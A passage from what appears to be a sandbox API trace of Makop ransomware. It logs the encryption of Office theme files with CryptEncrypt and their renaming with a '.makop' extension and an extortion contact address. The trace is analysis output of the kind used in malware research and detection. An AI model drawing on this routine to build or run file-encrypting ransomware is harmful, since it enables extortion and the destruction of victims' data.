ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.880] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0099.880] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0099.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.880] GetProcessHeap () returned 0x48a0000 [0099.880] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.881] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.881] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.881] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0099.885] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.885] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.885] GetProcessHeap () returned 0x48a0000 [0099.885] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.885] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.885] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.885] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.885] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.885] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.886] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.886] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.886] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.886] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.886] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.886] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3a9, lpOverlapped=0x0) returned 1 [0099.886] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x3b0, dwBufLen=0x3b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x3b0) returned 1 [0099.886] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.886] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x3b0, lpOverlapped=0x0) returned 1 [0099.887] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.887] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.887] SetEndOfFile (hFile=0x138) returned 1 [0099.893] GetProcessHeap () returned 0x48a0000 [0099.893] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.893] GetProcessHeap () returned 0x48a0000 [0099.893] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.894] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0099.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.895] CloseHandle (hObject=0x138) returned 1 [0099.895] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0099.895] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM") returned 67 [0099.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.908] GetProcessHeap () returned 0x48a0000 [0099.908] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.908] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.909] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.909] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0099.913] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.913] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.913] GetProcessHeap () returned 0x48a0000 [0099.913] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.913] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.914] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.914] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.914] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.914] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.914] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.914] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.914] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.915] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.915] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.915] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1413d, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1413d, lpOverlapped=0x0) returned 1 [0099.918] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x14140, dwBufLen=0x14140 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x14140) returned 1 [0099.918] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.919] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14140, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x14140, lpOverlapped=0x0) returned 1 [0099.919] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.919] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x14204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.920] SetEndOfFile (hFile=0x138) returned 1 [0099.927] GetProcessHeap () returned 0x48a0000 [0099.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.928] GetProcessHeap () returned 0x48a0000 [0099.928] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.928] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0099.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.934] CloseHandle (hObject=0x138) returned 1 [0099.934] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0099.934] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF") returned 67 [0099.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.934] GetProcessHeap () returned 0x48a0000 [0099.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.934] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.935] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.935] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.938] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.938] GetProcessHeap () returned 0x48a0000 [0099.939] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.939] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.939] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.939] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.939] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.939] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.939] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.940] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.940] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.940] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.940] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.940] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.940] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1bc, lpOverlapped=0x0) returned 1 [0099.940] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1c0) returned 1 [0099.940] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.940] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1c0, lpOverlapped=0x0) returned 1 [0099.941] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.941] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.941] SetEndOfFile (hFile=0x138) returned 1 [0099.948] GetProcessHeap () returned 0x48a0000 [0099.948] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.948] GetProcessHeap () returned 0x48a0000 [0099.948] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.948] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0099.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.951] CloseHandle (hObject=0x138) returned 1 [0099.951] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0099.951] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0099.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.952] GetProcessHeap () returned 0x48a0000 [0099.952] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.952] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.952] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.952] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0099.956] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.956] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.956] GetProcessHeap () returned 0x48a0000 [0099.956] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.956] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.956] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.956] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.957] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.957] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.957] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.957] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.957] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.958] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.958] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.958] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7279, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7279, lpOverlapped=0x0) returned 1 [0099.960] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7280, dwBufLen=0x7280 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7280) returned 1 [0099.960] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.960] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7280, lpOverlapped=0x0) returned 1 [0099.961] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.961] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.961] SetEndOfFile (hFile=0x138) returned 1 [0099.968] GetProcessHeap () returned 0x48a0000 [0099.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.968] GetProcessHeap () returned 0x48a0000 [0099.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.968] wsprintfW (in: param_1=0x48c4f5c, 